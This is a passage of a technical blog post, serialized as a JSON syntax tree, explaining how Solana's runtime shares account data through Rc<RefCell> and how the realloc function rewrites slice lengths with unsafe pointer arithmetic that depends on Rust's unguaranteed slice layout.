usize].clone());\n",[16161],{"type":21,"tag":194,"props":16162,"children":16163},{"__ignoreMap":7},[16164,16172],{"type":21,"tag":198,"props":16165,"children":16166},{"class":200,"line":201},[16167],{"type":21,"tag":198,"props":16168,"children":16169},{"style":1233},[16170],{"type":27,"value":16171},"// Duplicate account, clone the original\n",{"type":21,"tag":198,"props":16173,"children":16174},{"class":200,"line":217},[16175,16179,16183,16187,16191,16195,16199,16204,16208,16212,16216,16220,16225],{"type":21,"tag":198,"props":16176,"children":16177},{"style":226},[16178],{"type":27,"value":15480},{"type":21,"tag":198,"props":16180,"children":16181},{"style":683},[16182],{"type":27,"value":658},{"type":21,"tag":198,"props":16184,"children":16185},{"style":698},[16186],{"type":27,"value":4622},{"type":21,"tag":198,"props":16188,"children":16189},{"style":211},[16190],{"type":27,"value":706},{"type":21,"tag":198,"props":16192,"children":16193},{"style":226},[16194],{"type":27,"value":15480},{"type":21,"tag":198,"props":16196,"children":16197},{"style":211},[16198],{"type":27,"value":2051},{"type":21,"tag":198,"props":16200,"children":16201},{"style":226},[16202],{"type":27,"value":16203},"dup_info",{"type":21,"tag":198,"props":16205,"children":16206},{"style":249},[16207],{"type":27,"value":9638},{"type":21,"tag":198,"props":16209,"children":16210},{"style":1966},[16211],{"type":27,"value":14538},{"type":21,"tag":198,"props":16213,"children":16214},{"style":211},[16215],{"type":27,"value":2071},{"type":21,"tag":198,"props":16217,"children":16218},{"style":683},[16219],{"type":27,"value":658},{"type":21,"tag":198,"props":16221,"children":16222},{"style":698},[16223],{"type":27,"value":16224},"clone",{"type":21,"tag":198,"props":16226,"children":16227},{"style":211},[16228],{"type":27,"value":16229},"());\n",{"type":21,"tag":30,"props":16231,"children":16232},{},[16233,16235,16240,16242,16247,16249,16254,16256,16261,16262,16268,16270,16275,16277,16287,16289,16294],{"type":27,"value":16234},"Since ",{"type":21,"tag":194,"props":16236,"children":16238},{"className":16237},[],[16239],{"type":27,"value":4508},{"type":27,"value":16241}," inside the ",{"type":21,"tag":194,"props":16243,"children":16245},{"className":16244},[],[16246],{"type":27,"value":15743},{"type":27,"value":16248}," is a ",{"type":21,"tag":194,"props":16250,"children":16252},{"className":16251},[],[16253],{"type":27,"value":16126},{"type":27,"value":16255},", where the ",{"type":21,"tag":194,"props":16257,"children":16259},{"className":16258},[],[16260],{"type":27,"value":6800},{"type":27,"value":16248},{"type":21,"tag":194,"props":16263,"children":16265},{"className":16264},[],[16266],{"type":27,"value":16267},"&mut [u8]",{"type":27,"value":16269}," pointing at the actual data buffer, when we clone the ",{"type":21,"tag":194,"props":16271,"children":16273},{"className":16272},[],[16274],{"type":27,"value":15743},{"type":27,"value":16276},", we get a new reference",{"type":21,"tag":123,"props":16278,"children":16279},{},[16280],{"type":21,"tag":34,"props":16281,"children":16285},{"href":16282,"ariaDescribedBy":16283,"dataFootnoteRef":7,"id":16284},"#user-content-fn-rc-refs",[130],"user-content-fnref-rc-refs",[16286],{"type":27,"value":134},{"type":27,"value":16288}," to the slice pointing at the ",{"type":21,"tag":1671,"props":16290,"children":16291},{},[16292],{"type":27,"value":16293},"same",{"type":27,"value":16295}," data buffer.",{"type":21,"tag":30,"props":16297,"children":16298},{},[16299,16301,16307,16309,16315],{"type":27,"value":16300},"And of course to uphold borrowing rules while having a shared pointer, we have interior mutability via ",{"type":21,"tag":194,"props":16302,"children":16304},{"className":16303},[],[16305],{"type":27,"value":16306},"RefCell",{"type":27,"value":16308}," to check the rules at runtime. (The ",{"type":21,"tag":194,"props":16310,"children":16312},{"className":16311},[],[16313],{"type":27,"value":16314},"lamports",{"type":27,"value":16316}," field is very similar, for essentially the same reason - we need to be able to mutate it, but it is also shared between multiple instances of the same account.)",{"type":21,"tag":30,"props":16318,"children":16319},{},[16320,16322,16328],{"type":27,"value":16321},"Changing the data of an account is done by simply writing to ",{"type":21,"tag":194,"props":16323,"children":16325},{"className":16324},[],[16326],{"type":27,"value":16327},"AccountInfo::data",{"type":27,"value":16329},", which, as we just saw, is basically a pointer into the serialized buffer from the runtime; after the program exits, the loader reads the buffer back in to look at what the new state of the accounts should be.",{"type":21,"tag":30,"props":16331,"children":16332},{},[16333,16335,16342],{"type":27,"value":16334},"This is also where the ",{"type":21,"tag":34,"props":16336,"children":16339},{"href":16337,"rel":16338},"https://github.com/solana-labs/solana/blob/9fb0e76dc276f88b79720112477383a120c61b8f/program-runtime/src/pre_account.rs",[38],[16340],{"type":27,"value":16341},"runtime validity checks",{"type":27,"value":16343}," are imposed.",{"type":21,"tag":187,"props":16345,"children":16347},{"className":3789,"code":16346,"language":3788,"meta":7,"style":7},"// Only the owner may change account data\n// and if the account is writable\n// and if the account is not executable\nif !(program_id == pre.owner()\n && is_writable // line coverage used to get branch coverage\n && !pre.executable())\n && pre.data() != post.data()\n{\n if pre.executable() {\n return Err(InstructionError::ExecutableDataModified);\n } else if is_writable {\n return Err(InstructionError::ExternalAccountDataModified);\n } else {\n return Err(InstructionError::ReadonlyDataModified);\n }\n}\n",[16348],{"type":21,"tag":194,"props":16349,"children":16350},{"__ignoreMap":7},[16351,16359,16367,16375,16417,16435,16464,16509,16516,16540,16575,16600,16632,16647,16679,16686],{"type":21,"tag":198,"props":16352,"children":16353},{"class":200,"line":201},[16354],{"type":21,"tag":198,"props":16355,"children":16356},{"style":1233},[16357],{"type":27,"value":16358},"// Only the owner may change account data\n",{"type":21,"tag":198,"props":16360,"children":16361},{"class":200,"line":217},[16362],{"type":21,"tag":198,"props":16363,"children":16364},{"style":1233},[16365],{"type":27,"value":16366},"// and if the account is writable\n",{"type":21,"tag":198,"props":16368,"children":16369},{"class":200,"line":236},[16370],{"type":21,"tag":198,"props":16371,"children":16372},{"style":1233},[16373],{"type":27,"value":16374},"// and if the account is not executable\n",{"type":21,"tag":198,"props":16376,"children":16377},{"class":200,"line":260},[16378,16383,16387,16391,16395,16399,16404,16408,16413],{"type":21,"tag":198,"props":16379,"children":16380},{"style":640},[16381],{"type":27,"value":16382},"if",{"type":21,"tag":198,"props":16384,"children":16385},{"style":683},[16386],{"type":27,"value":13670},{"type":21,"tag":198,"props":16388,"children":16389},{"style":211},[16390],{"type":27,"value":706},{"type":21,"tag":198,"props":16392,"children":16393},{"style":226},[16394],{"type":27,"value":15471},{"type":21,"tag":198,"props":16396,"children":16397},{"style":683},[16398],{"type":27,"value":4089},{"type":21,"tag":198,"props":16400,"children":16401},{"style":226},[16402],{"type":27,"value":16403}," pre",{"type":21,"tag":198,"props":16405,"children":16406},{"style":683},[16407],{"type":27,"value":658},{"type":21,"tag":198,"props":16409,"children":16410},{"style":698},[16411],{"type":27,"value":16412},"owner",{"type":21,"tag":198,"props":16414,"children":16415},{"style":211},[16416],{"type":27,"value":1837},{"type":21,"tag":198,"props":16418,"children":16419},{"class":200,"line":281},[16420,16425,16430],{"type":21,"tag":198,"props":16421,"children":16422},{"style":683},[16423],{"type":27,"value":16424}," &&",{"type":21,"tag":198,"props":16426,"children":16427},{"style":226},[16428],{"type":27,"value":16429}," is_writable",{"type":21,"tag":198,"props":16431,"children":16432},{"style":1233},[16433],{"type":27,"value":16434}," // line coverage used to get branch coverage\n",{"type":21,"tag":198,"props":16436,"children":16437},{"class":200,"line":302},[16438,16442,16446,16450,16454,16459],{"type":21,"tag":198,"props":16439,"children":16440},{"style":683},[16441],{"type":27,"value":16424},{"type":21,"tag":198,"props":16443,"children":16444},{"style":683},[16445],{"type":27,"value":13670},{"type":21,"tag":198,"props":16447,"children":16448},{"style":226},[16449],{"type":27,"value":187},{"type":21,"tag":198,"props":16451,"children":16452},{"style":683},[16453],{"type":27,"value":658},{"type":21,"tag":198,"props":16455,"children":16456},{"style":698},[16457],{"type":27,"value":16458},"executable",{"type":21,"tag":198,"props":16460,"children":16461},{"style":211},[16462],{"type":27,"value":16463},"())\n",{"type":21,"tag":198,"props":16465,"children":16466},{"class":200,"line":323},[16467,16471,16475,16479,16483,16487,16492,16497,16501,16505],{"type":21,"tag":198,"props":16468,"children":16469},{"style":683},[16470],{"type":27,"value":16424},{"type":21,"tag":198,"props":16472,"children":16473},{"style":226},[16474],{"type":27,"value":16403},{"type":21,"tag":198,"props":16476,"children":16477},{"style":683},[16478],{"type":27,"value":658},{"type":21,"tag":198,"props":16480,"children":16481},{"style":698},[16482],{"type":27,"value":4508},{"type":21,"tag":198,"props":16484,"children":16485},{"style":211},[16486],{"type":27,"value":14850},{"type":21,"tag":198,"props":16488,"children":16489},{"style":683},[16490],{"type":27,"value":16491},"!=",{"type":21,"tag":198,"props":16493,"children":16494},{"style":226},[16495],{"type":27,"value":16496}," post",{"type":21,"tag":198,"props":16498,"children":16499},{"style":683},[16500],{"type":27,"value":658},{"type":21,"tag":198,"props":16502,"children":16503},{"style":698},[16504],{"type":27,"value":4508},{"type":21,"tag":198,"props":16506,"children":16507},{"style":211},[16508],{"type":27,"value":1837},{"type":21,"tag":198,"props":16510,"children":16511},{"class":200,"line":344},[16512],{"type":21,"tag":198,"props":16513,"children":16514},{"style":211},[16515],{"type":27,"value":11689},{"type":21,"tag":198,"props":16517,"children":16518},{"class":200,"line":365},[16519,16523,16527,16531,16535],{"type":21,"tag":198,"props":16520,"children":16521},{"style":640},[16522],{"type":27,"value":643},{"type":21,"tag":198,"props":16524,"children":16525},{"style":226},[16526],{"type":27,"value":16403},{"type":21,"tag":198,"props":16528,"children":16529},{"style":683},[16530],{"type":27,"value":658},{"type":21,"tag":198,"props":16532,"children":16533},{"style":698},[16534],{"type":27,"value":16458},{"type":21,"tag":198,"props":16536,"children":16537},{"style":211},[16538],{"type":27,"value":16539},"() {\n",{"type":21,"tag":198,"props":16541,"children":16542},{"class":200,"line":386},[16543,16548,16553,16557,16562,16566,16571],{"type":21,"tag":198,"props":16544,"children":16545},{"style":640},[16546],{"type":27,"value":16547}," return",{"type":21,"tag":198,"props":16549,"children":16550},{"style":1966},[16551],{"type":27,"value":16552}," Err",{"type":21,"tag":198,"props":16554,"children":16555},{"style":211},[16556],{"type":27,"value":706},{"type":21,"tag":198,"props":16558,"children":16559},{"style":1966},[16560],{"type":27,"value":16561},"InstructionError",{"type":21,"tag":198,"props":16563,"children":16564},{"style":683},[16565],{"type":27,"value":4286},{"type":21,"tag":198,"props":16567,"children":16568},{"style":1966},[16569],{"type":27,"value":16570},"ExecutableDataModified",{"type":21,"tag":198,"props":16572,"children":16573},{"style":211},[16574],{"type":27,"value":1470},{"type":21,"tag":198,"props":16576,"children":16577},{"class":200,"line":408},[16578,16583,16587,16592,16596],{"type":21,"tag":198,"props":16579,"children":16580},{"style":211},[16581],{"type":27,"value":16582}," } ",{"type":21,"tag":198,"props":16584,"children":16585},{"style":640},[16586],{"type":27,"value":4122},{"type":21,"tag":198,"props":16588,"children":16589},{"style":640},[16590],{"type":27,"value":16591}," if",{"type":21,"tag":198,"props":16593,"children":16594},{"style":226},[16595],{"type":27,"value":16429},{"type":21,"tag":198,"props":16597,"children":16598},{"style":211},[16599],{"type":27,"value":233},{"type":21,"tag":198,"props":16601,"children":16602},{"class":200,"line":429},[16603,16607,16611,16615,16619,16623,16628],{"type":21,"tag":198,"props":16604,"children":16605},{"style":640},[16606],{"type":27,"value":16547},{"type":21,"tag":198,"props":16608,"children":16609},{"style":1966},[16610],{"type":27,"value":16552},{"type":21,"tag":198,"props":16612,"children":16613},{"style":211},[16614],{"type":27,"value":706},{"type":21,"tag":198,"props":16616,"children":16617},{"style":1966},[16618],{"type":27,"value":16561},{"type":21,"tag":198,"props":16620,"children":16621},{"style":683},[16622],{"type":27,"value":4286},{"type":21,"tag":198,"props":16624,"children":16625},{"style":1966},[16626],{"type":27,"value":16627},"ExternalAccountDataModified",{"type":21,"tag":198,"props":16629,"children":16630},{"style":211},[16631],{"type":27,"value":1470},{"type":21,"tag":198,"props":16633,"children":16634},{"class":200,"line":450},[16635,16639,16643],{"type":21,"tag":198,"props":16636,"children":16637},{"style":211},[16638],{"type":27,"value":16582},{"type":21,"tag":198,"props":16640,"children":16641},{"style":640},[16642],{"type":27,"value":4122},{"type":21,"tag":198,"props":16644,"children":16645},{"style":211},[16646],{"type":27,"value":233},{"type":21,"tag":198,"props":16648,"children":16649},{"class":200,"line":468},[16650,16654,16658,16662,16666,16670,16675],{"type":21,"tag":198,"props":16651,"children":16652},{"style":640},[16653],{"type":27,"value":16547},{"type":21,"tag":198,"props":16655,"children":16656},{"style":1966},[16657],{"type":27,"value":16552},{"type":21,"tag":198,"props":16659,"children":16660},{"style":211},[16661],{"type":27,"value":706},{"type":21,"tag":198,"props":16663,"children":16664},{"style":1966},[16665],{"type":27,"value":16561},{"type":21,"tag":198,"props":16667,"children":16668},{"style":683},[16669],{"type":27,"value":4286},{"type":21,"tag":198,"props":16671,"children":16672},{"style":1966},[16673],{"type":27,"value":16674},"ReadonlyDataModified",{"type":21,"tag":198,"props":16676,"children":16677},{"style":211},[16678],{"type":27,"value":1470},{"type":21,"tag":198,"props":16680,"children":16681},{"class":200,"line":477},[16682],{"type":21,"tag":198,"props":16683,"children":16684},{"style":211},[16685],{"type":27,"value":880},{"type":21,"tag":198,"props":16687,"children":16688},{"class":200,"line":494},[16689],{"type":21,"tag":198,"props":16690,"children":16691},{"style":211},[16692],{"type":27,"value":1120},{"type":21,"tag":59,"props":16694,"children":16696},{"id":16695},"back-to-realloc",[16697,16699],{"type":27,"value":16698},"Back to ",{"type":21,"tag":194,"props":16700,"children":16702},{"className":16701},[],[16703],{"type":27,"value":14445},{"type":21,"tag":30,"props":16705,"children":16706},{},[16707],{"type":27,"value":16708},"As a reminder, this is what we were looking at before that detour:",{"type":21,"tag":187,"props":16710,"children":16711},{"className":3789,"code":15196,"language":3788,"meta":7,"style":7},[16712],{"type":21,"tag":194,"props":16713,"children":16714},{"__ignoreMap":7},[16715,16722,16809],{"type":21,"tag":198,"props":16716,"children":16717},{"class":200,"line":201},[16718],{"type":21,"tag":198,"props":16719,"children":16720},{"style":1233},[16721],{"type":27,"value":15208},{"type":21,"tag":198,"props":16723,"children":16724},{"class":200,"line":217},[16725,16729,16733,16737,16741,16745,16749,16753,16757,16761,16765,16769,16773,16777,16781,16785,16789,16793,16797,16801,16805],{"type":21,"tag":198,"props":16726,"children":16727},{"style":249},[16728],{"type":27,"value":12597},{"type":21,"tag":198,"props":16730,"children":16731},{"style":226},[16732],{"type":27,"value":14664},{"type":21,"tag":198,"props":16734,"children":16735},{"style":683},[16736],{"type":27,"value":979},{"type":21,"tag":198,"props":16738,"children":16739},{"style":249},[16740],{"type":27,"value":14604},{"type":21,"tag":198,"props":16742,"children":16743},{"style":683},[16744],{"type":27,"value":658},{"type":21,"tag":198,"props":16746,"children":16747},{"style":698},[16748],{"type":27,"value":14681},{"type":21,"tag":198,"props":16750,"children":16751},{"style":211},[16752],{"type":27,"value":14686},{"type":21,"tag":198,"props":16754,"children":16755},{"style":683},[16756],{"type":27,"value":3940},{"type":21,"tag":198,"props":16758,"children":16759},{"style":698},[16760],{"type":27,"value":14695},{"type":21,"tag":198,"props":16762,"children":16763},{"style":211},[16764],{"type":27,"value":14686},{"type":21,"tag":198,"props":16766,"children":16767},{"style":683},[16768],{"type":27,"value":658},{"type":21,"tag":198,"props":16770,"children":16771},{"style":698},[16772],{"type":27,"value":14708},{"type":21,"tag":198,"props":16774,"children":16775},{"style":211},[16776],{"type":27,"value":706},{"type":21,"tag":198,"props":16778,"children":16779},{"style":683},[16780],{"type":27,"value":5139},{"type":21,"tag":198,"props":16782,"children":16783},{"style":2540},[16784],{"type":27,"value":4887},{"type":21,"tag":198,"props":16786,"children":16787},{"style":211},[16788],{"type":27,"value":1541},{"type":21,"tag":198,"props":16790,"children":16791},{"style":249},[16792],{"type":27,"value":9652},{"type":21,"tag":198,"props":16794,"children":16795},{"style":683},[16796],{"type":27,"value":10626},{"type":21,"tag":198,"props":16798,"children":16799},{"style":249},[16800],{"type":27,"value":4530},{"type":21,"tag":198,"props":16802,"children":16803},{"style":1966},[16804],{"type":27,"value":6673},{"type":21,"tag":198,"props":16806,"children":16807},{"style":211},[16808],{"type":27,"value":1483},{"type":21,"tag":198,"props":16810,"children":16811},{"class":200,"line":236},[16812,16816,16820,16824,16828,16832,16836],{"type":21,"tag":198,"props":16813,"children":16814},{"style":683},[16815],{"type":27,"value":5383},{"type":21,"tag":198,"props":16817,"children":16818},{"style":226},[16819],{"type":27,"value":14756},{"type":21,"tag":198,"props":16821,"children":16822},{"style":683},[16823],{"type":27,"value":979},{"type":21,"tag":198,"props":16825,"children":16826},{"style":226},[16827],{"type":27,"value":14765},{"type":21,"tag":198,"props":16829,"children":16830},{"style":249},[16831],{"type":27,"value":9638},{"type":21,"tag":198,"props":16833,"children":16834},{"style":1966},[16835],{"type":27,"value":6673},{"type":21,"tag":198,"props":16837,"children":16838},{"style":211},[16839],{"type":27,"value":1483},{"type":21,"tag":30,"props":16841,"children":16842},{},[16843,16848,16850,16855,16857,16862,16864,16875,16877,16882,16884,16889],{"type":21,"tag":194,"props":16844,"children":16846},{"className":16845},[],[16847],{"type":27,"value":14681},{"type":27,"value":16849}," gives us the ",{"type":21,"tag":194,"props":16851,"children":16853},{"className":16852},[],[16854],{"type":27,"value":16267},{"type":27,"value":16856}," from the ",{"type":21,"tag":194,"props":16858,"children":16860},{"className":16859},[],[16861],{"type":27,"value":16142},{"type":27,"value":16863},", whose data is inside the serialized buffer and immediately after the size of the data inside the serialized buffer. And ",{"type":21,"tag":34,"props":16865,"children":16868},{"href":16866,"rel":16867},"https://doc.rust-lang.org/std/primitive.slice.html#method.as_mut_ptr",[38],[16869],{"type":21,"tag":194,"props":16870,"children":16872},{"className":16871},[],[16873],{"type":27,"value":16874},"slice::as_mut_ptr()",{"type":27,"value":16876}," gives us that data pointer directly. So, this code computes a pointer to that serialized size field (8 bytes - the size of a ",{"type":21,"tag":194,"props":16878,"children":16880},{"className":16879},[],[16881],{"type":27,"value":8853},{"type":27,"value":16883}," - behind the data buffer), and then writes ",{"type":21,"tag":194,"props":16885,"children":16887},{"className":16886},[],[16888],{"type":27,"value":14529},{"type":27,"value":16890}," to it.",{"type":21,"tag":30,"props":16892,"children":16893},{},[16894,16896,16908,16910,16916],{"type":27,"value":16895},"This is reasonable... ",{"type":21,"tag":1671,"props":16897,"children":16898},{},[16899,16901,16906],{"type":27,"value":16900},"as long as the ",{"type":21,"tag":194,"props":16902,"children":16904},{"className":16903},[],[16905],{"type":27,"value":4508},{"type":27,"value":16907}," actually came from the serialized buffer",{"type":27,"value":16909},". We'll come back to this ",{"type":21,"tag":34,"props":16911,"children":16913},{"href":16912},"#Not-contracts",[16914],{"type":27,"value":16915},"later",{"type":27,"value":658},{"type":21,"tag":30,"props":16918,"children":16919},{},[16920,16922,16927],{"type":27,"value":16921},"At this point we've updated the serialized buffer, so at exit the runtime will understand that the size of the account's data buffer has changed. However, we haven't dealt with the Rust side yet. Slices have a length, and we haven't dealt with the ",{"type":21,"tag":194,"props":16923,"children":16925},{"className":16924},[],[16926],{"type":27,"value":16267},{"type":27,"value":16928}," slice that is our view into the data from the Rust world. So let's look at the next chunk:",{"type":21,"tag":187,"props":16930,"children":16932},{"className":3789,"code":16931,"language":3788,"meta":7,"style":7},"// Then set the new length in the local slice\nlet ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n*ptr = new_len as u64;\n",[16933],{"type":21,"tag":194,"props":16934,"children":16935},{"__ignoreMap":7},[16936,16944,17071],{"type":21,"tag":198,"props":16937,"children":16938},{"class":200,"line":201},[16939],{"type":21,"tag":198,"props":16940,"children":16941},{"style":1233},[16942],{"type":27,"value":16943},"// Then set the new length in the local slice\n",{"type":21,"tag":198,"props":16945,"children":16946},{"class":200,"line":217},[16947,16951,16955,16959,16963,16967,16971,16975,16979,16983,16987,16991,16995,16999,17003,17007,17011,17015,17019,17023,17027,17031,17035,17039,17043,17047,17051,17055,17059,17063,17067],{"type":21,"tag":198,"props":16948,"children":16949},{"style":249},[16950],{"type":27,"value":12597},{"type":21,"tag":198,"props":16952,"children":16953},{"style":226},[16954],{"type":27,"value":14664},{"type":21,"tag":198,"props":16956,"children":16957},{"style":683},[16958],{"type":27,"value":979},{"type":21,"tag":198,"props":16960,"children":16961},{"style":683},[16962],{"type":27,"value":7953},{"type":21,"tag":198,"props":16964,"children":16965},{"style":249},[16966],{"type":27,"value":4530},{"type":21,"tag":198,"props":16968,"children":16969},{"style":683},[16970],{"type":27,"value":10626},{"type":21,"tag":198,"props":16972,"children":16973},{"style":211},[16974],{"type":27,"value":14824},{"type":21,"tag":198,"props":16976,"children":16977},{"style":249},[16978],{"type":27,"value":14520},{"type":21,"tag":198,"props":16980,"children":16981},{"style":683},[16982],{"type":27,"value":658},{"type":21,"tag":198,"props":16984,"children":16985},{"style":211},[16986],{"type":27,"value":4508},{"type":21,"tag":198,"props":16988,"children":16989},{"style":683},[16990],{"type":27,"value":658},{"type":21,"tag":198,"props":16992,"children":16993},{"style":698},[16994],{"type":27,"value":14845},{"type":21,"tag":198,"props":16996,"children":16997},{"style":211},[16998],{"type":27,"value":14850},{"type":21,"tag":198,"props":17000,"children":17001},{"style":249},[17002],{"type":27,"value":9652},{"type":21,"tag":198,"props":17004,"children":17005},{"style":683},[17006],{"type":27,"value":10626},{"type":21,"tag":198,"props":17008,"children":17009},{"style":249},[17010],{"type":27,"value":2648},{"type":21,"tag":198,"props":17012,"children":17013},{"style":1966},[17014],{"type":27,"value":6673},{"type":21,"tag":198,"props":17016,"children":17017},{"style":211},[17018],{"type":27,"value":2109},{"type":21,"tag":198,"props":17020,"children":17021},{"style":683},[17022],{"type":27,"value":658},{"type":21,"tag":198,"props":17024,"children":17025},{"style":698},[17026],{"type":27,"value":14708},{"type":21,"tag":198,"props":17028,"children":17029},{"style":211},[17030],{"type":27,"value":706},{"type":21,"tag":198,"props":17032,"children":17033},{"style":2540},[17034],{"type":27,"value":134},{"type":21,"tag":198,"props":17036,"children":17037},{"style":211},[17038],{"type":27,"value":1541},{"type":21,"tag":198,"props":17040,"children":17041},{"style":249},[17042],{"type":27,"value":9652},{"type":21,"tag":198,"props":17044,"children":17045},{"style":1966},[17046],{"type":27,"value":6673},{"type":21,"tag":198,"props":17048,"children":17049},{"style":211},[17050],{"type":27,"value":1541},{"type":21,"tag":198,"props":17052,"children":17053},{"style":249},[17054],{"type":27,"value":9652},{"type":21,"tag":198,"props":17056,"children":17057},{"style":683},[17058],{"type":27,"value":10626},{"type":21,"tag":198,"props":17060,"children":17061},{"style":249},[17062],{"type":27,"value":4530},{"type":21,"tag":198,"props":17064,"children":17065},{"style":1966},[17066],{"type":27,"value":6673},{"type":21,"tag":198,"props":17068,"children":17069},{"style":211},[17070],{"type":27,"value":1470},{"type":21,"tag":198,"props":17072,"children":17073},{"class":200,"line":236},[17074,17078,17082,17086,17090,17094,17098],{"type":21,"tag":198,"props":17075,"children":17076},{"style":683},[17077],{"type":27,"value":5383},{"type":21,"tag":198,"props":17079,"children":17080},{"style":226},[17081],{"type":27,"value":14756},{"type":21,"tag":198,"props":17083,"children":17084},{"style":683},[17085],{"type":27,"value":979},{"type":21,"tag":198,"props":17087,"children":17088},{"style":226},[17089],{"type":27,"value":14765},{"type":21,"tag":198,"props":17091,"children":17092},{"style":249},[17093],{"type":27,"value":9638},{"type":21,"tag":198,"props":17095,"children":17096},{"style":1966},[17097],{"type":27,"value":6673},{"type":21,"tag":198,"props":17099,"children":17100},{"style":211},[17101],{"type":27,"value":1483},{"type":21,"tag":30,"props":17103,"children":17104},{},[17105,17107,17113,17115,17126,17128,17134,17136,17142,17144,17149,17151,17156,17158,17168,17169,17176,17177,17184,17191,17193,17199,17201,17207,17209,17214,17216,17221,17223,17229,17231,17236],{"type":27,"value":17106},"That ",{"type":21,"tag":194,"props":17108,"children":17110},{"className":17109},[],[17111],{"type":27,"value":17112},"as_ptr()",{"type":27,"value":17114}," call is ",{"type":21,"tag":34,"props":17116,"children":17119},{"href":17117,"rel":17118},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.as_ptr",[38],[17120],{"type":21,"tag":194,"props":17121,"children":17123},{"className":17122},[],[17124],{"type":27,"value":17125},"RefCell::as_ptr()",{"type":27,"value":17127}," due to the ",{"type":21,"tag":194,"props":17129,"children":17131},{"className":17130},[],[17132],{"type":27,"value":17133},"Deref",{"type":27,"value":17135}," impl on ",{"type":21,"tag":194,"props":17137,"children":17139},{"className":17138},[],[17140],{"type":27,"value":17141},"Rc",{"type":27,"value":17143}," (remember also that ",{"type":21,"tag":194,"props":17145,"children":17147},{"className":17146},[],[17148],{"type":27,"value":16306},{"type":27,"value":17150}," itself doesn't behave like a reference, you need to actually ",{"type":21,"tag":1671,"props":17152,"children":17153},{},[17154],{"type":27,"value":17155},"get",{"type":27,"value":17157}," one through ",{"type":21,"tag":34,"props":17159,"children":17162},{"href":17160,"rel":17161},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow",[38],[17163],{"type":21,"tag":194,"props":17164,"children":17166},{"className":17165},[],[17167],{"type":27,"value":9612},{"type":27,"value":915},{"type":21,"tag":34,"props":17170,"children":17173},{"href":17171,"rel":17172},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow_mut",[38],[17174],{"type":27,"value":17175},"and",{"type":27,"value":915},{"type":21,"tag":34,"props":17178,"children":17181},{"href":17179,"rel":17180},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow",[38],[17182],{"type":27,"value":17183},"frie",{"type":21,"tag":34,"props":17185,"children":17188},{"href":17186,"rel":17187},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow_mut",[38],[17189],{"type":27,"value":17190},"nds",{"type":27,"value":17192},"). So from ",{"type":21,"tag":194,"props":17194,"children":17196},{"className":17195},[],[17197],{"type":27,"value":17198},"RefCell::\u003C&mut [u8]>::as_mut()",{"type":27,"value":17200}," we get a ",{"type":21,"tag":194,"props":17202,"children":17204},{"className":17203},[],[17205],{"type":27,"value":17206},"*mut &mut [u8]",{"type":27,"value":17208}," - a ",{"type":21,"tag":1671,"props":17210,"children":17211},{},[17212],{"type":27,"value":17213},"pointer",{"type":27,"value":17215}," to the ",{"type":21,"tag":1671,"props":17217,"children":17218},{},[17219],{"type":27,"value":17220},"slice reference",{"type":27,"value":17222},". From here, we turn the pointer into a ",{"type":21,"tag":194,"props":17224,"children":17226},{"className":17225},[],[17227],{"type":27,"value":17228},"*const u64",{"type":27,"value":17230}," pointer and then offset by 1 ",{"type":21,"tag":194,"props":17232,"children":17234},{"className":17233},[],[17235],{"type":27,"value":8853},{"type":27,"value":17237}," (so 8 bytes). Finally, we switch the pointer back to being mutable, and write the new length to it.",{"type":21,"tag":30,"props":17239,"children":17240},{},[17241,17243,17248,17250,17255,17257,17262,17264,17269,17271,17277],{"type":27,"value":17242},"Now, if you're sitting here thinking that this is unnecessarily convoluted and confusing, you'd be right! But we'll get back to that ",{"type":21,"tag":34,"props":17244,"children":17246},{"href":17245},"#Towards-safer-unsafe",[17247],{"type":27,"value":16915},{"type":27,"value":17249}," too, I promise. In summary, we're writing the new length as a ",{"type":21,"tag":194,"props":17251,"children":17253},{"className":17252},[],[17254],{"type":27,"value":8853},{"type":27,"value":17256}," to the region starting 8 bytes from the start of the slice ",{"type":21,"tag":1671,"props":17258,"children":17259},{},[17260],{"type":27,"value":17261},"reference",{"type":27,"value":17263}," (the ",{"type":21,"tag":194,"props":17265,"children":17267},{"className":17266},[],[17268],{"type":27,"value":16267},{"type":27,"value":17270},").So, what does ",{"type":21,"tag":194,"props":17272,"children":17274},{"className":17273},[],[17275],{"type":27,"value":17276},"&[T]",{"type":27,"value":17278}," look like in Rust?",{"type":21,"tag":30,"props":17280,"children":17281},{},[17282,17284,17291,17293,17306,17308,17314],{"type":27,"value":17283},"According to ",{"type":21,"tag":34,"props":17285,"children":17288},{"href":17286,"rel":17287},"https://doc.rust-lang.org/reference/type-layout.html#pointers-and-references-layout",[38],[17289],{"type":27,"value":17290},"the reference",{"type":27,"value":17292},", it's completely undefined - there are no guarantees made in the reference, and ",{"type":21,"tag":34,"props":17294,"children":17297},{"href":17295,"rel":17296},"https://doc.rust-lang.org/reference/type-layout.html",[38],[17298,17300,17304],{"type":27,"value":17299},"\"Type layout can be changed with each compilation. ",{"type":21,"tag":198,"props":17301,"children":17302},{},[17303],{"type":27,"value":10402},{"type":27,"value":17305}," we only document what is guaranteed today\"",{"type":27,"value":17307},". But it seems like those pesky language specs aren't stopping Solana developers. In current ",{"type":21,"tag":194,"props":17309,"children":17311},{"className":17310},[],[17312],{"type":27,"value":17313},"rustc",{"type":27,"value":17315},", the layout is a data pointer followed by the size; essentially the same as:",{"type":21,"tag":187,"props":17317,"children":17320},{"className":17318,"code":17319,"language":3954,"meta":7,"style":7},"language-c shiki shiki-themes slack-dark","// C language\nstruct slice_ref {\n void* ptr;\n size_t len;\n};\n",[17321],{"type":21,"tag":194,"props":17322,"children":17323},{"__ignoreMap":7},[17324,17332,17344,17361,17374],{"type":21,"tag":198,"props":17325,"children":17326},{"class":200,"line":201},[17327],{"type":21,"tag":198,"props":17328,"children":17329},{"style":1233},[17330],{"type":27,"value":17331},"// C language\n",{"type":21,"tag":198,"props":17333,"children":17334},{"class":200,"line":217},[17335,17339],{"type":21,"tag":198,"props":17336,"children":17337},{"style":249},[17338],{"type":27,"value":10213},{"type":21,"tag":198,"props":17340,"children":17341},{"style":211},[17342],{"type":27,"value":17343}," slice_ref {\n",{"type":21,"tag":198,"props":17345,"children":17346},{"class":200,"line":236},[17347,17352,17356],{"type":21,"tag":198,"props":17348,"children":17349},{"style":249},[17350],{"type":27,"value":17351}," 